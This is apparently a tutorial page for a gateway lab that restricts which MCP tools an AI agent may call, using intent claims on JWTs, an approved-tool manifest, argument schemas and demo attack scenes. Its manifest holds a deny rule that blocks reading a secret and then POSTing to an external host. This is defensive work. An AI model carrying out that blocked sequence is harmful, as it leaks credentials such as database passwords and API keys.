Locking Down MCP Tools at the Gateway

The four enforcement layers

Intent — purpose, not identity

Layer 3 above gates high-risk tools by a JWT intent claim. It's worth being precise about what that claim means, because audiences routinely mistake it for a user identity. It isn't one.

Both JWTs the in-cluster issuer mints have the same subject — sub: agent. What differs is the intent claim, which represents what the agent is currently doing, not who the agent is.

So db_read_secret is gated by intent because:

• The same agent shouldn't be reading the production DB password during routine chat (general) — that's a leak waiting to happen.
• The same agent absolutely needs to read it during a rotation flow (ops-secret-rotation) — that's the workflow.

This is purpose-based access control (PBAC)

Distinct from — and complementary to — the patterns most teams already recognise:

In a mature deployment the three layers combine: the agent has role X, currently doing purpose Y, with attributes Z — does that justify calling tool T with args A? The lab focuses on the purpose layer because it's the one most agentic systems get wrong: they let any authenticated agent call any approved tool, regardless of whether the current task actually needs that tool.

Where the intent comes from in production

This lab cheats — the jwt-issuer mints two 10-year tokens at startup and the inspector UI's dropdown picks which one to send. That's a demo shortcut. Real intent claims are:

1. Issued by an orchestrator per task. When a workflow kicks off "rotate DB password", the orchestrator gets a fresh JWT with intent: ops-secret-rotation and a short TTL (say, 15 min). The agent loses access to high-risk tools as soon as the workflow ends.
2. Step-up via human approval. Default JWT is intent: general. The agent asks the operator "I need to rotate the password — approve?", the operator MFA-confirms, and a short-lived intent: ops-secret-rotation token is minted for that single operation. The agentic-hitl-kind sibling lab shows the HITL machinery.
3. Inferred by a classifier from the user prompt. A small model tags the request as a particular task category and the framework upgrades the JWT. Riskier — easier to fool — but useful when the orchestrator doesn't know the workflow type upfront.

The curation manifest

This ConfigMap is the source of truth. Everything downstream — the description-shim's tools/list, the gateway's CEL allow-list, the ext-auth's schema and chain rules — reads from it. Edit a tool's argsSchema here and the ext-auth picks up the change on its next call (it reloads on every Check). Add or remove a tool from approvedTools and the policy-sync controller reapplies the gateway policy within seconds.

apiVersion: v1
kind: ConfigMap
metadata:
  name: curation-manifest
  namespace: tool-curation
  annotations:
    ar.dev/mcpserver: "ops-tools:approved-1.0.0"
data:
  manifest.yaml: |
    approvedTools:
      - name: db_read_row
        riskTier: low
        cleanDescription: "Read one row from the orders table by integer id."
        argsSchema:
          type: object
          additionalProperties: false
          required: [row_id]
          properties:
            row_id: { type: integer, minimum: 1 }

      - name: db_read_secret
        riskTier: high
        requiredIntent: ops-secret-rotation
        cleanDescription: "Fetch a named secret from vault. High-risk; only allowed during secret-rotation flows."
        argsSchema:
          type: object
          additionalProperties: false
          required: [key]
          properties:
            key:
              type: string
              enum: ["db.password", "stripe.api_key", "github.token"]

      - name: http_post_external
        riskTier: medium
        cleanDescription: "POST to an external host. Subject to outbound allowlist (enforced elsewhere)."
        argsSchema:
          type: object
          additionalProperties: false
          required: [url]
          properties:
            url:  { type: string, minLength: 8 }
            body: { type: string }

    forbiddenChains:
      - ["db_read_secret", "http_post_external"]

What you'll build

Build it

export AGENTGATEWAY_LICENSE_KEY=...        # or use SECRETS_FILE
./scripts/quick.sh up                       # ~8-12 min first time
./scripts/port-forward.sh                   # leave running
# Inspector UI → http://localhost:8090

Five scripts run in order:

1. 01-cluster.sh — kind + MetalLB + Gateway API CRDs.
2. 02-agentgateway.sh — Solo Enterprise agentgateway 2.3.3 (GAR auth + license).
3. 03-agentregistry.sh — OSS agentregistry + Postgres (best-effort).
4. 04-mcp-and-jwt.sh — build + load all 6 images; deploy rogue-mcp, description-shim, redis, jwt-issuer, tool-policy-extauth, curation-inspector-ui.
5. 05-policy-and-sync.sh — apply Gateway, HTTPRoute, JWT policy, ext-auth policy, initial allow-list; start policy-sync.

Happy path — what an agent actually uses

Start the demo with the three green buttons at the top of the inspector UI. They exercise the approved tools the way an agent would use them — they all succeed. That's the point: the gateway is selectively enforcing, not blanket-denying. Run these first so the audience sees the gateway as a filter, not a wall.

Scene A · ALLOW — read an order row

Scene B · ALLOW — high-risk read under the right intent

Scene C · ALLOW — POST to an approved external host

Denial scenarios — what gets blocked, and why

Below the green buttons the UI has four red buttons. Each one bypasses the LLM and POSTs tools/call directly through the gateway — so you see verbatim which enforcement layer fired. Not all four are attacks. Two are genuine attacks; two are just legitimate-looking calls denied because the policy says so:

All four denials look red in the trace, but understanding the difference is what sells the architecture. The same gateway catches attacks, agent bugs, AND legitimate-but-out-of-context calls — without the agent having to know any of this is happening.

Scene 1 · ATTACK — call an unapproved tool

Scene 2 · BUG — call an approved tool with bad args

Scene 3 · CONTEXT — high-risk call without the right intent

Scene 4 · ATTACK — sequence the rogue chain

Live edit — registry as authority

Everything above runs through the curated manifest. To prove the registry is the actual authority, edit it live:

# Remove db_read_secret from approvedTools (just delete its block)
kubectl -n tool-curation edit configmap curation-manifest

# Within ~5s, policy-sync logs:
#   applied tool-curation/mcp-tool-allowlist — allowed tools: [db_read_row http_post_external]

# In the inspector UI, the MIDDLE panel (gateway tools/list) updates —
# db_read_secret is now absent. Re-clicking attack 3 returns -32602.

This is the proof point. The gateway policy CR was never edited by hand. The ext-auth's rules weren't redeployed. The description-shim wasn't restarted. One kubectl edit configmap propagated through three subsystems in a few seconds — because they're all reading from the same curated artifact.

Notes on the demo

Below is the customer ask this lab was built against — quoted verbatim — and a row-by-row mapping showing which component of the demo proves each requirement. Use this as the closing slide: "here's what you asked for, and here's where each part lives in the demo."

Tool catalog hygiene + semantic least privilege + compositional constraints. The gateway must expose only approved tools to the agent (deny-by-default) with pinned manifests / schemas and sanitized descriptions (no prompts in metadata). At runtime it must allow / deny based on tool_name + args + intent / risk tier and block dangerous chains (sequence / graph rules).

Teardown

./scripts/quick.sh teardown

See also

• Sibling — agentic-mcp-rbac-kind — per-user RBAC at the same gateway, with three identities and a chat UI.
• Sibling — agentic-pii-guardrail-kind — request/response prompt-guard with regex + webhook (the description-shim pattern, but for LLM bodies).
• Sibling — agentic-hitl-kind — two-layer human-in-the-loop for the highest-risk calls.
• Reference — agentregistry CRDs — a visual map — what artifacts the registry actually exposes today.
• Docs — MCP tool-level access control (Solo).

Versions

Built and verified on both editions: